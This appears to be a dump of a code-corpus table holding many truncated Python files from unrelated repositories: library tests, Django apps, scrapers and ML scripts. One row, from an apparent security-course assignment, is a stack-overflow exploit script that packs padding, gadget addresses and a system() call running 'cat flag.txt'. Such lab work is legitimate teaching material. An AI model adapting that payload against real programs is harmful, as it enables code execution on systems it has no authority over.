blob_id stringlengths 40 40 | content_id stringlengths 40 40 | repo_name stringlengths 5 114 | path stringlengths 5 318 | language stringclasses 5
values | extension stringclasses 12
values | length_bytes int64 200 200k | license_type stringclasses 2
values | content stringlengths 143 200k |
|---|---|---|---|---|---|---|---|---|
0f37c2d1a5dd6b215474db6993e625f345013acd | c915c95294ba045aa1ddbb01640bbed005cc2f28 | Garylabong/pandas | /pandas/tests/groupby/test_function.py | Python | py | 35,757 | permissive | import builtins
from io import StringIO
import numpy as np
import pytest
from pandas.errors import UnsupportedFunctionCall
import pandas as pd
from pandas import DataFrame, Index, MultiIndex, Series, Timestamp, date_range, isna
import pandas._testing as tm
import pandas.core.nanops as nanops
from pandas.util import ... |
0fc42c904a09ace6af3327f5ad32ac2c84cc6cbf | 88698c5195d844b8df04ea86168652da4da2bf53 | censurfridns/blog.censurfridns.dk | /src/blog/migrations/0007_auto_20160326_1807.py | Python | py | 641 | permissive | # -*- coding: utf-8 -*-
# Generated by Django 1.9.4 on 2016-03-26 18:07
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('blog', '0006_auto_20160319_2010'),
]
operations = [
migrations.AlterField(
... |
d95718407ca51a60db9b380a758dc9272f4ae876 | dfb5e2f12cf04263eed4651f55d08edf728b59ef | Developer-Aayush/TA-2020-Library-System | /library_management_System/library_management_System/wsgi.py | Python | py | 427 | no_license | """
WSGI config for library_management_System project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/3.1/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdef... |
a28798406425788b2d504bff88424a0741f1683f | 7c322478d868de94fb0cdb00dc3cc0ee20b48cc7 | lihoboy/BnB | /Domi_SPT.py | Python | py | 19,604 | no_license | import copy
import time
is_init=0
Lower_Bound_Jseq = []
def main():
for i in range (5,51):
print("Num_Jobs",i)
BB(i)
print("----------------------------")
def BB(Jobs_toDo):
#Lower_Bound=100000000
'''------------------- read xlsx file-------------------'''
file_name ... |
78457ce9ac57e316de3f3576542ba73d5c84cd79 | 85f68c45d56c3ffb879512dd4f2ec7ec1d06b366 | aperiyed/servicegraph-cloudcenter | /servicegraph/lib/python2.7/site-packages/acimodel-4.0_3d-py2.7.egg/cobra/modelimpl/statslimit/instlimitpol.py | Python | py | 7,196 | no_license | # coding=UTF-8
# **********************************************************************
# Copyright (c) 2013-2019 Cisco Systems, Inc. All rights reserved
# written by zen warriors, do not modify!
# **********************************************************************
from cobra.mit.meta import ClassMeta
from cobra.m... |
cb797155370d67d6426a3c055cfe1188e7e15611 | 02adb87f82c057dcaf8692bc921d441d707ebcb2 | tenqaz/crazy_arithmetic | /leetcode/剑指offer/剑指 Offer 06. 从尾到头打印链表.py | Python | py | 742 | no_license | """
@author: zwf
@contact: zhengwenfeng37@gmail.com
@time: 2023/6/23 0:39
@desc:
"""
from typing import List
from tools.linked_list_tools import make_linkedlist
class ListNode:
def __init__(self, x):
self.val = x
self.next = None
class Solution:
def reversePrint2(self, head: ListNode) ... |
a171f077bb9e550e0131c6b82fb18ef71ad7c1e0 | 252f34770d15de5b857aa5fd3fe826ec42ddeef0 | amakmurr/findjonihomekey | /chart.py | Python | py | 5,260 | no_license | from typing import Set, List, Any
from point import Point, Joni, Dot
from step import Step, C, B, A
class Chart:
joni = None
def __init__(self, h: int, w: int, points: Set[Point]):
self.h = h
self.w = w
self.points = points
def put_point(self, point: Point):
if point in... |
b41378b260cebb4b33275a96fc003e501a856c6b | 15f5095be3d451f11be2dead31ed045ba836e9a5 | yoshimaputri/ClusteringKMeansGA | /kmeans-ga.py | Python | py | 3,245 | no_license | import numpy as np
from sklearn.decomposition import IncrementalPCA
import matplotlib.pyplot as plt
import random
def loadDataset(filename):
ds = np.loadtxt(filename, delimiter='\t')
return ds
data = loadDataset('seeds.txt')
dataset = data[:,:8]
#k=int(input("Masukkan jumlah k-cluster : "))
k = 3
def normali... |
59eb332c8209066d51ca52cbcd10cf5a65c9580a | cbf320d0e17ecfc93f722728727006eccd527b4d | SimonLvX/Requests | /02.requests简易网页采集器.py | Python | py | 1,286 | no_license | # -*- coding:utf-8 -*-
#UA检测:门户网站的服务器会检测对应请求载体的身份标识,如果检测到的身份标识为某一款浏览器,说明该请求为正常的请求,服务器不会拒绝请求
#但是,如果检测到身份标识不是基于某一款浏览器的,则表示为不正常的请求(爬虫),那么服务器端很有可能拒绝该次请求
#UA:User-Agent (请求载体的身份标识)
#UA伪装:让爬虫对应的请求载体身份标识伪装成某款浏览器
import requests
if __name__ == "__main__":
#UA伪装:将对应的User-Agent封装到字典中
headers = {
'User-Agent':... |
f81ed1820f710b9ec416db93316ab734eafc6461 | ec72aaca86fa42c291cba11c0d1640c80771d049 | gaetangr/P11_ameliorer_projet | /purbeurre/products/migrations/0005_product_image_nutrition_url.py | Python | py | 395 | no_license | # Generated by Django 3.1.2 on 2021-01-19 12:39
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
("products", "0004_auto_20210107_1431"),
]
operations = [
migrations.AddField(
model_name="product",
name="image_nutri... |
fe5dd5b68441a524524faa21be73acc1bb2f0678 | 3fa8f77bcfe16f3cdffdce2a8c7e84e22e0adb99 | sunshineywz123/VO_pipeline | /pangolin_example/plot_trajectory.py | Python | py | 1,941 | no_license | import numpy as np
import OpenGL.GL as gl
import pangolin
from scipy.spatial.transform import Rotation as R
poses = []
traj_file = np.loadtxt("trajectory.txt")
for traj in traj_file:
Twr = np.eye(4)
Twr[:3, :3] = R.from_quat(traj[-4:]).as_matrix()
Twr[:3, 3] = traj[1:4].T
poses.append(Twr)
poses = np.array(poses)
... |
bac15d94250c3208fe9370460ec8bd2752ef0980 | 71f5b05f05050727ca4719d7e14d811a7ef00b83 | eilifm/statsmodels | /statsmodels/genmod/bayes_mixed_glm.py | Python | py | 32,153 | permissive | """
Bayesian inference for generalized linear mixed models.
Currently only families without additional scale or shape parameters
are supported (binomial and Poisson).
Two estimation approaches are supported: Laplace approximation
(maximum a posteriori), and variational Bayes (mean field
approximation to the posterior... |
172d3de5a2699bcf5a863a4b6a9dbd207832a916 | c6fa0939214a8daa5777b2ec46b184d6909edaaa | nrg1984/hyper | /hyper/__init__.py | Python | py | 892 | permissive | # -*- coding: utf-8 -*-
"""
hyper
~~~~~~
A module for providing an abstraction layer over the differences between
HTTP/1.1 and HTTP/2.
"""
import logging
from .common.connection import HTTPConnection
from .http20.connection import HTTP20Connection
from .http20.response import HTTP20Response, HTTP20Push
from .http11.c... |
be74559abfa1f56270f9d1cf04bcc5e5dbc0326c | cf6cc9a7fa77e167cc4b7158170ad5aef53b7881 | 91hongppie/TIL | /06_vue/05_vue_component_with_drf/todo-back/todos/serializers.py | Python | py | 609 | no_license | from rest_framework import serializers
from django.contrib.auth import get_user_model
from .models import Todo
User = get_user_model()
class TodoSerializer(serializers.ModelSerializer):
class Meta:
model = Todo
fields = ('id', 'user', 'title', 'completed',)
class UserCreationSerializer(serialize... |
3f721275151a5739ea5bc6f70183a545a217b82a | 2d05dc55edce7786ad4057c506529c3ad336e2f1 | adrshm91/MasterThesisFinal | /scinet_motor/io_nn.py | Python | py | 1,179 | no_license | import os
class Io_nn(object):
def __init__(self, model_id, path):
self.model_id = model_id
self.project_dir = os.path.dirname(path)
self.logs_dir = self.project_dir + "/training_logs/"
if not os.path.exists(self.logs_dir):
os.makedirs(self.logs_dir)
# create a... |
9cfb73d1cdd9fca2f4a9f954cc902a8560ffa979 | 85362b13565af3a8ec748ff7a778042313ad9953 | KuibsJiang/Fundation_for_analysics_with_python | /matplotlib/ggplot_plots.py | Python | py | 887 | no_license | #文件需求:使用ggplot创建基础统计图
#!/usr/bin/env python3
from ggplot import *
print(mtcars.head())
plt1 = ggplot(aes(x='mpg'),data=mtcars)+geom_histogram(fill='darkblue',binwidth=2)+xlim(10,35)+ylim(0,10)+xlab('MPG')+ylab('Frequency')+ggtitle('Histogram of MPG')+theme_matplotlib()
print(plt1)
print(meat.head())
plt2 = ggplot(aes(x... |
93984b949f687f56bcf23c3792b80bbc935d7b09 | d6d9f8db214a8fa0ab7bf109b0a543cdeb2d7d73 | mikando/salvia-blockchain | /salvia/wallet/settings/settings_objects.py | Python | py | 578 | permissive | from dataclasses import dataclass
from salvia.util.streamable import Streamable, streamable
@dataclass(frozen=True)
@streamable
class BackupInitialized(Streamable):
"""
Stores user decision regarding import of backup info
"""
user_initialized: bool # Stores if user made a selection in UI. (Skip vs ... |
9c24add14a11758f770ccc6c86420a8cb04856e9 | 624a2e8e0df20f2fddb17c0e77477f04b42da01f | edgar-orozco/mobizen-django-projects-dev | /mobizen/mobizen/utilities.py | Python | py | 1,850 | no_license | # -*- coding: utf-8 -*-
from django.shortcuts import render
from django.template.loader import get_template
from django.template import Context
from django.core.mail import EmailMessage
from django.utils.http import urlsafe_base64_encode, urlsafe_base64_decode
import datetime
epoch = datetime.datetime.utcfromtimesta... |
bcb5d3161e42205c0f50b84f7a7b6605776bf036 | 146549786e285f371ebe91d001035990e716d4cc | pastre/PUCPR-2019.2 | /lexical.py | Python | py | 1,163 | no_license | from sly import Lexer, Parser
class PortugolLexer(Lexer):
tokens = {
ID,
STRING,
NUMBER,
PLUS,
MINUS,
TIMES,
DIVIDE,
ASSIGN,
LPAREN,
RPAREN,
EQ,
GREATER_THEN_EQ ,
LESS_THEN_EQ ,
NOT_EQ,
GREATER_THEN,
LESS_THEN,
INTEIRO,
IMPRIMA,
LEIA,
PARA,
FIM_PARA,
SE,
ENTÃO,... |
b53d46f814ab64f8a5f9e37babc453647d67f5c4 | eb7a1b96224ea422a763607d36ed71280765e5c5 | syncwerk/syncwerk-server-restapi | /fhs/usr/share/python/syncwerk/restapi/restapi/api2/endpoints/groups.py | Python | py | 12,757 | permissive | # Copyright (c) 2012-2016 Seafile Ltd.
import logging
from django.utils.translation import ugettext as _
from django.template.defaultfilters import filesizeformat
from rest_framework.authentication import SessionAuthentication
from rest_framework.permissions import IsAuthenticated
from rest_framework.response import ... |
42714f1cd340ee424e1a8ab56fc29991e58b3f41 | 7a5ae6ca7c1e0739920250b2e144bc530568e967 | UCLA-SEAL/QDiff | /benchmark/startPyquil976.py | Python | py | 2,061 | permissive | # qubit number=5
# total number=43
import pyquil
from pyquil.api import local_forest_runtime, QVMConnection
from pyquil import Program, get_qc
from pyquil.gates import *
import numpy as np
conn = QVMConnection()
def make_circuit()-> Program:
prog = Program() # circuit begin
prog += H(0) # number=3
pr... |
af658ec897b63d798e34763250d7a8f7f514771e | 65ed2c61823438ebba20695bcaea88f743002254 | Alveo/smallasc | /browse/modelspackage/sites.py | Python | py | 5,470 | no_license | from django.db import models
from browse.modelspackage.sparql_local_wrapper import SparqlModel, SparqlManager
from browse.modelspackage import Session
from collections import defaultdict
class SiteManager (SparqlManager):
""" Class responsible for returning instances of type Site. """
def all (self... |
a9330005d1f3a8fd013b2f40715c33f2f4a5ae46 | de4f5037a0080eab424fb1d5fecaffe0ecc989c1 | xangcastle/respaldo | /digitalizacion/migrations/0002_auto_20150813_1452.py | Python | py | 1,473 | no_license | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
from django.conf import settings
class Migration(migrations.Migration):
dependencies = [
('metropolitana', '0018_auto_20150813_1452'),
migrations.swappable_dependency(settings.AUTH_USER_MODEL... |
ae22aa7dadb8a72583e176ae6656997f720bb4e4 | 65958999bba50e1d66c851ceb7acc86b97ede4ae | ottosha/studying_python | /robot-tasks-master/task_30.py | Python | py | 998 | no_license | #!/usr/bin/python3
from pyrob.api import *
@task(delay=0.01)
def task_9_3():
a = 1;
b = 1;
while wall_is_on_the_right() is False:
move_right()
a+=1
while b > 0:
b = 0
for i in range(1, a):
if not i == 1 or i == (a-1):
fill_cell()
... |
92273620aab40eaea1098ae672065a668a40b1c4 | 8367155b657c1adece4a21b74340c5e7c08b19f7 | phongnguyen999/management | /config.py | Python | py | 512 | no_license | # config.py
class Config(object):
"""
Common configurations
"""
# Put any configurations here that are common across all environments
class DevelopmentConfig(Config):
"""
Development configurations
"""
DEBUG = True
SQLALCHEMY_ECHO = True
SQLALCHEMY_TRACK_MODIFICATIONS = False... |
3876e40729b8bf0de50e7a564f32fb14756ff4e6 | 59b44bcbf38f46a19955f2f0e74d81f4b79896df | yingkun1/HYSFOnline | /HYSFOnline/wsgi.py | Python | py | 397 | permissive | """
WSGI config for HYSFOnline project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/1.9/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault("DJANGO_SE... |
4bae7bdc00a147d151fe9f62640c2ed260944158 | 523babf15e6dd74991c01a898dc17a284f5b1f0e | findM/AlphaGo | /benchmarks/preprocessing_benchmark.py | Python | py | 423 | permissive | from AlphaGo.models.game_converter import game_converter
from cProfile import Profile
prof = Profile()
test_features = ["board", "turns_since", "liberties", "capture_size", "self_atari_size", "liberties_after", "sensibleness", "zeros"]
gc = game_converter()
args = ('tests/test_sgfs/AlphaGo-vs-Lee-Sedol-20160310-first... |
7dfe8676ab6a2edacf92c4cbf448f304bb90f48a | edff27e136124b778b66ba26d531e1f943ecb3b0 | kamask/kafehan-bot | /kafehan_bot/kafehan/migrations/0003_auto_20200919_1705.py | Python | py | 740 | no_license | # Generated by Django 3.1.1 on 2020-09-19 14:05
from django.db import migrations, models
import django.utils.timezone
class Migration(migrations.Migration):
dependencies = [
('kafehan', '0002_onlinepay'),
]
operations = [
migrations.AddField(
model_name='onlinepay',
... |
04d05bf02834dac868f6c3f1a7902175f46335c1 | 9c602981ecaf346028c9e887482a907a73a6c708 | jinghaisuifeng/test11 | /uiautotest/Base/SendEmail.py | Python | py | 1,370 | no_license | #coding=utf-8
__author__ = 'zcs'
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from email.header import Header
class SendEmail():
def sendEmail(self,fp):
smtpserver = 'smtp.163.com'
username = 'chen1247619686... |
b05e3a674e04f40cee1ab933be2ad89e38d8c1d1 | 05829ade61682c32c041b83ab8e0a4993d15fe5d | jesrav/azure-ml-learning | /learning-scripts/00_create_environment_and_compute/create_environment.py | Python | py | 375 | no_license | from pathlib import Path
from azureml.core import Workspace
from azureml.core import Environment
CONDA_YAML_PATH = Path("learning-scripts/00_create_environment_and_compute/conda.yaml")
ws = Workspace.from_config()
env = Environment.from_conda_specification(
name="training_environment", file_path=CONDA_YAML_PATH
)... |
17444f5a4751c64986a6bb65d1e1a72318fc8bea | d9641fc4e8c49a30b02329f85ab5ce76bc798a53 | fitbenchmarking/fitbenchmarking | /fitbenchmarking/utils/tests/test_write_files.py | Python | py | 2,089 | permissive | """
This file contains tests for the write files utils
"""
import os
import shutil
import unittest
from fitbenchmarking.utils.create_dirs import results
from fitbenchmarking.utils.exceptions import FilepathTooLongError
from fitbenchmarking.utils.write_files import CHARACTER_LIMIT, write_file
@write_file
def write_to... |
6d3322550fa3369dd72e928fd8a3f8e1c09a538e | 18d782638d5b683dfde8e7aaa1210bdcbb526f76 | SmartHypercube/file | /file/views.py | Python | py | 1,523 | no_license | import os
from hashlib import sha1 as hash_method
from django.shortcuts import render
from django.views.decorators.csrf import csrf_exempt
from django.views.decorators.http import require_http_methods
from .mime import MIME
DATA_DIR = '/data/file'
HASH_LEN = hash_method().digest_size * 2
def mkdir_p(path):
if ... |
ede72a9286e3c10b151a957e86cc4f0bc35e556c | 78cac12851020e599bdc176e61686898e22a556d | imisi-akande/meet-up-experts | /meelorlah/meelorlah/wsgi.py | Python | py | 489 | no_license | """
WSGI config for meelorlah project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/1.11/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
from whitenoise.django import Dja... |
e9cc84d16361964fd68bc1c36eb3177977ab13d6 | 33bbd52204e9f3eee1fa1b52ef9822c527ddafeb | cpurta/numerai | /fit_pca.py | Python | py | 1,293 | permissive | from __future__ import absolute_import
from __future__ import print_function
from __future__ import division
import time
import random
random.seed(67)
import numpy as np
np.random.seed(67)
import pandas as pd
from sklearn import decomposition
def main():
df_train = pd.read_csv('data/train_data.csv')
df_val... |
13c2f2d44ab27a92772e9b022e8e6f91dfef3dde | 7694559ebc2ee629b3c479bd115ae3e2fbec63a7 | abhi32ag/niger_election | /src/data/export_file_for_viz.py | Python | py | 1,558 | no_license | import pandas as pd
bureaux_loc = pd.read_csv('../../data/processed/geolocalized_bureaux.csv')
to_drop = ['milieu' , 'menages' , 'geoloc' , 'menages_agricoles' ,
'Unnamed: 0' , "bureau_to_match" , "elec_name" , 'renaloc_name' ,
'level' , 'GPS_NAME' , "locality_to_match"]
for var in to_drop :
... |
fec27e6923f16ccfa36d7bce91277a3121fd7ded | 1a9bcf3ed67996e88048662a807a45758f67a97d | akshayharidas/IntroSSOC | /assignments/4/u4cse14006/U4CSE14006/2/demo.py | Python | py | 268 | no_license | import struct
sys=0x7fffffffda30
#sys= 0x7ffff7a56800
g1=0x4006d1
g2=0x4006d3
g3=0x4006d0
payload = "A" * 1032 + struct.pack('<Q',g1) +struct.pack('<Q',0x10)+struct.pack('<Q',g2) +'cat flag.txt'+'\x00'*4+ struct.pack('<Q',g3) + struct.pack('<Q',sys)
print payload
|
6dbe71a9599009b10286a2142f8fcdfac696c7da | 13b618b23e91508164e35de6aa874c9c85d34746 | woaksths/character_based_nmt | /vocab.py | Python | py | 10,607 | no_license | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CS224N 2018-19: Homework 5
vocab.py: Vocabulary Generation
Pencheng Yin <pcyin@cs.cmu.edu>
Sahil Chopra <schopra8@stanford.edu>
Usage:
vocab.py --train-src=<file> --train-tgt=<file> [options] VOCAB_FILE
Options:
-h --help Show this screen.
... |
4aa60b09b6769598299be44ad5d84bc0d7f58735 | 00b1ca6b4314384dca4d6513de021ae3fe29587b | adair1219/chewinggum | /chewinggum/chewinggum/settings.py | Python | py | 3,454 | permissive | """
Django settings for chewinggum project.
Generated by 'django-admin startproject' using Django 2.2.4.
For more information on this file, see
https://docs.djangoproject.com/en/2.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.2/ref/settings/
"""
... |
da6062c719086db4502351ae2405b4d3c38c377c | 9870df4577c35d4a74f6c9a39bb4e63dff0bf07c | MiekoHayasaka/Python_Training | /day0218/nekopzl/n7.py | Python | py | 3,107 | no_license | import tkinter as tk
import random
cursor_x=0
cursor_y=0
mouse_x=0
mouse_y=0
mouse_c=0
def mouse_move(e):
global mouse_x,mouse_y
mouse_x=e.x
mouse_y=e.y
def mouse_press(e):
global mouse_c
mouse_c=1
neko=[]
check=[]
for i in range(10):
neko.append([0,0,0,0,0,0,0,0])
check.append([0, 0, 0,... |
a9c267960e472dd5c582f6c011515a0bd00e4647 | 21869362cb1bdca742a297dd11ea5e61afc2aeea | nspin/routor | /setup.py | Python | py | 313 | no_license | from distutils.core import setup
setup(
name = 'routor',
version='0.0.1',
description="Tor controller that allows paths to be chosen on a stream-by-stream basis.",
author='Nick Spinale',
license='MIT',
packages=['routor'],
install_requires=[
'bidict',
'stem',
],
) |
1c961057f62041a2425eb575d138765558fc4e5f | e3c1dbfc88b41483dc1c10aad959235afbc74203 | yuzisheng/community-penetration | /exp/datasets_info.py | Python | py | 2,581 | no_license | import igraph as ig
from common import graph_load, graph_cal
def comm_detection(g: ig.Graph):
g.community_walktrap()
if __name__ == '__main__':
# 1. karate
karate = graph_load.load_graph_gml("../data/karate.gml", 'c-')
print("+++++++\nkarate: (v:{}, e:{})".format(karate.vcount(), karate.ecount()))
... |
622c2ba746456debea5344858693bfc05bc8e6d5 | 8daa52451e039d670145ef42f6c27ddf08ca632f | skibaa/smart-sweeper | /settings.py | Python | py | 3,574 | permissive | # Copyright 2008 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... |
6bba337007f1018be693ffbd263501b618dfd825 | 96a0679f8c4f2f50c6bd4d9fa6118ae5d5176bbb | Br3d89/bred-django | /ssidswitcher1/ssidswitcher1/settings.py | Python | py | 3,291 | no_license | """
Django settings for ssidswitcher1 project.
Generated by 'django-admin startproject' using Django 1.10.3.
For more information on this file, see
https://docs.djangoproject.com/en/1.10/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.10/ref/settings/
"""
imp... |
6c5b4de5e84b99980a6a28b728d26b9e24b5d3b3 | 21c07bfe0aa9c54e3f30db899b25682795cb8e2b | Rhushabh1/ML_algorithms | /Linear Regression/regression_scratch.py | Python | py | 1,917 | no_license | from statistics import mean
import numpy as np
import matplotlib.pyplot as plt
from matplotlib import style
import random
style.use('fivethirtyeight')
# test data
xs = np.array([1,2,3,4,5,6], dtype = np.float64)
ys = np.array([5,4,6,5,6,7], dtype = np.float64)
# hm = how many points
# variance = whats the range of v... |
6dc7d96744fcb19829557ae52a94f7deeb0b8543 | 6475f4059b00c4d644704f771d0210b1c7491ded | allinux/hashcode_8154 | /foo.py | Python | py | 4,243 | no_license | from PyQt5 import QtCore, QtWidgets,QtGui
import numpy as np
from PyQt5.QtGui import *
from PyQt5.QtWidgets import QMainWindow, QApplication, QDialog, QFileDialog, QSlider
import matplotlib.pyplot as plt
from matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas
from PIL import Image
import sys
c... |
36d8a6556d1b9fdb9128eb16c02ee0992599c81f | 58fd96b9410da4008ac8c50d102efafe72108a19 | konitaku/djangoEcommerce | /accounts/migrations/0001_initial.py | Python | py | 1,351 | no_license | # Generated by Django 3.2.7 on 2021-09-08 05:43
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Account',
fields=[
('id', models.BigAutoFie... |
1d5f61bc1c6a53b605ca5f7d221de815d81ba785 | 0485515eaf007101e8c057aa57173fa09b1c0cc9 | PANTELIMONOV/addressbook_tests | /web_api/addressbook_api.py | Python | py | 986 | no_license | from selenium import webdriver
from web_api.group_helper import GroupHelper
from web_api.session_helper import SessionHelper
class AddressBook:
def __init__(self, driver, base_url):
self.wd = driver
self.wd.implicitly_wait(1)
self.base_url = base_url
self.session = SessionHelper(se... |
2ebee3e998fb6b98348f6ee6e906d11c90d82a23 | ecb9422163f2053cb609fa4db87e68387b926562 | NicoEssi/Scientific_Python | /emp_cumulative_distf.py | Python | py | 393 | permissive | import numpy as np
from random import uniform
class ECDF:
def __init__(self, observations):
self.observations = np.asarray(observations)
def __call__(self, x):
c = self.observations <= x
return np.sum(c) / len(self.observations)
samples = [uniform(0, 1) for i in range(1... |
3b1a719d204178b7882915192546fd7237b9352f | d0d74a818f95bc2976fb3f987064e6933d233dc6 | nordme/nordme_work_repo | /score.py | Python | py | 18,292 | permissive | #!/usr/bin/env python2
# -*- coding: utf-8 -*-
"""
Scoring function for GenZ pilot data.
Unified:
- ten-thousands: (10000-20000): type (emojis/faces/thumbs)
- hundreds digit (100-200): learn or test
Auditory triggers:
- ones+tens digit (1-12): auditory syllable onset
Visual triggers:
- thousands (100... |
7e9db7bd90f37cf631378ef2a83b893cc4c24739 | 863add5a1d14c902666c0e126466fa4fb577ba0c | Lathomas42/CatmaidNeuronTools | /ParseNeuronDistDict.py | Python | py | 748 | no_license | import numpy
def parseDistDict(ndd):
nronsOG = ndd.keys()
nrons = nronsOG
for nr in nronsOG:
if(nr in ndd.keys()):
newrons = ndd[nr].keys()
for new in newrons:
if new not in nrons:
nrons.append(new)
denadj = numpy.zeros([len(nrons), l... |
891f683e4666e1a94409fc0344ad133941c07caa | cffdadac87839a037fa817aa8bc169068327fb0a | fujiokayu/black-hat-python | /chapter-02/p14_tcp_client.py | Python | py | 427 | no_license | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import socket
target_host = "www.google.com"
target_port = 80
# create socket object
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# connect to server
client.connect((target_host,target_port))
# send data
client.send(b"GET / HTTP/1.1\r\nHost: google.com\r\... |
bf365ed249d1ae1425a1b59d6214557e91872ed6 | 9adfdca4aa4dc5b4c5dad893e3903c9e83e9eee8 | MotiarRehaman/Information_Retrieval | /Assignment1_Part1.py | Python | py | 1,641 | no_license | # For task1
# Scrapping transcript from seeking alpha
import requests
from bs4 import BeautifulSoup
import time
def get_date(c):
end = c.find('|')
return c[0:end-1]
def get_ticker(c):
beg = c.find('(')
end = c.find(')')
return c[beg+1:end]
def grab_page(url):
print(... |
046d2ec4e3a02ca6b77b91c450fcdb870ff651f8 | 85825fab47e48be836db8368c2f3f5db5066c49f | bloXroute-Labs/bxgateway | /src/bxgateway/messages/btc/btc_message_converter_factory.py | Python | py | 435 | permissive | from bxgateway.messages.btc.btc_normal_message_converter import BtcNormalMessageConverter
def create_btc_message_converter(magic, opts):
if opts.use_extensions or opts.import_extensions:
from bxgateway.messages.btc.btc_extension_message_converter import BtcExtensionMessageConverter
if opts.use_extens... |
c8cb5082dc8d5aa5b9156d7d9f14a5fc2018c83d | 6184ddce066491971519f6ee9ff9555b950e674e | BTajini/Resnet-Theano-Lasagne | /Cifar-Part/cifar-10-batches-py.py | Python | py | 4,379 | permissive | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Provides access to the CIFAR-10 dataset, including simple data augmentation.
Author: Jan Schlüter
"""
import os
import sys
import numpy as np
def download_dataset(path, source='https://www.cs.toronto.edu/~kriz/'
'cifar... |
f8969109d69dec94268ef61f5570665e18ad666f | 4ee2a2342d3f70fb03bbcc6346c8a4c705c9ef3a | oceantear/ROSJava | /devel/lib/python2.7/dist-packages/rosjava_test_msgs/msg/_Composite.py | Python | py | 4,824 | no_license | # This Python file uses the following encoding: utf-8
"""autogenerated by genpy from rosjava_test_msgs/Composite.msg. Do not edit."""
import sys
python3 = True if sys.hexversion > 0x03000000 else False
import genpy
import struct
import rosjava_test_msgs.msg
class Composite(genpy.Message):
_md5sum = "d8fb6eb869ad395... |
d1965762a63667b1d58c7e48894582c197267699 | 724f837d8b6505e23acf9a930028e366afc50826 | swan815/SimplePythonDeepLearning | /chapter6/trick.py | Python | py | 369 | no_license | #!/usr/bin/env python
#-*-coding:utf-8-*-
import os,sys
sys.path.append(os.pardir)
from common import util
from dataset.mnist import load_mnist
#打乱数据集
(x_train,t_train),(x_test,t_test) = load_mnist()
x_train,t_train = shuffle_dataset(x_train,t_train)
#分割验证数据集
validation_rate = 0.20
validation_num = int(x_train.shap... |
308bf95d7e48705ab185809207218481f225538c | 7b7a07fb6c1f700120f8cea31544adf941bef991 | digitaltopo/intake | /intake/catalog/entry.py | Python | py | 5,229 | permissive | #-----------------------------------------------------------------------------
# Copyright (c) 2012 - 2018, Anaconda, Inc. and Intake contributors
# All rights reserved.
#
# The full license is in the LICENSE file, distributed with this software.
#------------------------------------------------------------------------... |
313e7ac6c1e7da0db9cde108e34495730ffc0175 | cff1844720d73a08ff61b5afd1c4a120a9bfb656 | adriangotca98/Faculty | /Bachelor/3rd year/Artificial Intelligence/tema6.py | Python | py | 5,127 | no_license | import random
from copy import deepcopy
# learning rate
ALPHA = 0.03
# discount factor
GAMMA = 0.95
# number of epochs for training
EPOCHS = 1000
# maximum number of steps per epoch
MAXIMUM_STEPS = 100
'''
A - position of the agent
* - destination
X - wall
0 - empty cell
'''
INITIAL_MAZE = [['X', '0', '0', 'A'],
... |
e99ea262ea33f7d12cd3a223c4ff03f48ea67138 | 7224355b109b667d17b3244db02fc77576b5e49e | ecstowe/AFS505_u1 | /assignment4/ex33sd5.py | Python | py | 286 | no_license | def loopyfor():
i = 0
numbers = []
snickers = 8
for i in range(i,int(snickers)):
print(f"at the top i is {i}")
numbers.append(i)
print("Numbers now:", numbers)
print(f"At the bottom i is {i}")
print("the numbers:")
for num in numbers:
print(num)
loopyfor()
|
0a1920db1388a0eb1bce412f1b497bbab8f9db2d | a9378a97cc846f1ec93643108f6c4647a9890477 | ht5678/yzh-learn | /demo-python/base/demo/thread/demo2.py | Python | py | 277 | no_license | import threading;
import time;
class MyThread(threading.Thread):
def run(self):
for i in range(3):
time.sleep(1);
msg = "i'm "+self.name+" @ "+str(i);
print(msg);
if __name__ == '__main__':
t = MyThread();
t.start(); |
ee3ad632ca46a5238b1e85bab99bae3841186d95 | 81b3d70ef6f816c985ac70f90df0f1d16419ec23 | ktxlh/slides-drafter | /text-title/data_load.py | Python | py | 5,846 | no_license | # -*- coding: utf-8 -*-
#/usr/bin/python3
'''
date: 2019/5/21
mail: cally.maxiong@gmail.com
page: http://www.cnblogs.com/callyblog/
'''
import tensorflow as tf
from utils import calc_num_batches
def _load_vocab(vocab_fpath):
'''Loads vocabulary file and returns idx<->token maps
vocab_fpath: string. vocabulary... |
393203f3d47b04ddba1087a140764ae8bed07df2 | ac572376604086f019f3aba6a9cab775e5912af6 | juandsc/recipe-api-app | /app/core/tests/test_models.py | Python | py | 1,291 | permissive | from django.test import TestCase
from django.contrib.auth import get_user_model
class ModelTests(TestCase):
def test_create_user_with_email_successful(self):
"""Test creating a new user with an email is successful"""
email = 'test@londonappdev.com'
password = 'Password123'
user = ... |
6ad7a65c2b1e0f3ef1befbcb3b049d3c8a4f1b57 | 25a104131ae40e58b3ce346f329a48245a988f89 | JudoWill/flELM | /count_hprd.py | Python | py | 485 | no_license | import sys, utils_motif, utils
from collections import defaultdict
elm2proteins = utils_motif.annotation2protein(sys.argv[1], {'ELM':True})
for elm in elm2proteins:
seqs = defaultdict(utils.init_zero)
